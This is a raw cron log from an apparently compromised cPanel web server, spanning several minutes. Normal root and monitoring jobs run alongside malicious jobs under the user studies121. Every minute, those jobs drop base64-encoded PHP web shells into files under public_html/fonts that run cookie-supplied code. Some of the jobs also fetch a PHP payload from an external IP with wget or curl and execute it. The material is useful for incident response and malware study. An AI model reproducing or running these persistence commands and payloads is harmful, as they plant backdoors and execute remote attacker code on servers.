Sep  9 21:55:01 ip-184-168-122-23 CROND[19411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:55:01 ip-184-168-122-23 CROND[19415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:55:01 ip-184-168-122-23 CROND[19413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:55:01 ip-184-168-122-23 CROND[19414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:56:02 ip-184-168-122-23 CROND[19501]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:56:02 ip-184-168-122-23 CROND[19504]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:56:02 ip-184-168-122-23 CROND[19503]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:56:02 ip-184-168-122-23 CROND[19506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:56:02 ip-184-168-122-23 CROND[19505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:57:01 ip-184-168-122-23 CROND[19595]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:57:01 ip-184-168-122-23 CROND[19599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:57:01 ip-184-168-122-23 CROND[19598]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:57:01 ip-184-168-122-23 CROND[19602]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:58:01 ip-184-168-122-23 CROND[19693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:58:01 ip-184-168-122-23 CROND[19695]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:58:01 ip-184-168-122-23 CROND[19696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 21:58:01 ip-184-168-122-23 CROND[19697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 21:58:01 ip-184-168-122-23 CROND[19698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:59:01 ip-184-168-122-23 CROND[19789]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 21:59:01 ip-184-168-122-23 CROND[19791]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:59:01 ip-184-168-122-23 CROND[19792]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:59:01 ip-184-168-122-23 CROND[19793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19899]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19901]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19903]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:00:01 ip-184-168-122-23 CROND[19905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19904]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:00:01 ip-184-168-122-23 CROND[19911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:00:01 ip-184-168-122-23 CROND[19909]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:01:01 ip-184-168-122-23 CROND[20059]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:01:01 ip-184-168-122-23 CROND[20060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:01:01 ip-184-168-122-23 CROND[20063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:01:01 ip-184-168-122-23 CROND[20065]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:01:01 ip-184-168-122-23 CROND[20062]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 22:01:01 ip-184-168-122-23 CROND[20066]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20066]: starting 0anacron
Sep  9 22:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[20081]: finished 0anacron
Sep  9 22:02:01 ip-184-168-122-23 CROND[20161]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:02:01 ip-184-168-122-23 CROND[20162]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:02:01 ip-184-168-122-23 CROND[20163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:02:01 ip-184-168-122-23 CROND[20166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:02:01 ip-184-168-122-23 CROND[20160]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:03:01 ip-184-168-122-23 CROND[20268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:03:01 ip-184-168-122-23 CROND[20269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:03:01 ip-184-168-122-23 CROND[20272]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:03:01 ip-184-168-122-23 CROND[20276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:04:01 ip-184-168-122-23 CROND[20359]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:04:01 ip-184-168-122-23 CROND[20362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:04:01 ip-184-168-122-23 CROND[20364]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:04:01 ip-184-168-122-23 CROND[20363]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:04:01 ip-184-168-122-23 CROND[20365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:05:01 ip-184-168-122-23 CROND[20466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:05:01 ip-184-168-122-23 CROND[20465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:05:01 ip-184-168-122-23 CROND[20464]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 22:05:01 ip-184-168-122-23 CROND[20468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:05:01 ip-184-168-122-23 CROND[20469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:05:01 ip-184-168-122-23 CROND[20470]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:05:01 ip-184-168-122-23 CROND[20475]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:06:01 ip-184-168-122-23 CROND[20554]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:06:01 ip-184-168-122-23 CROND[20555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 22:06:01 ip-184-168-122-23 CROND[20557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:06:01 ip-184-168-122-23 CROND[20556]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 22:06:01 ip-184-168-122-23 CROND[20558]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:07:01 ip-184-168-122-23 CROND[20639]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 22:07:01 ip-184-168-122-23 CROND[20641]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
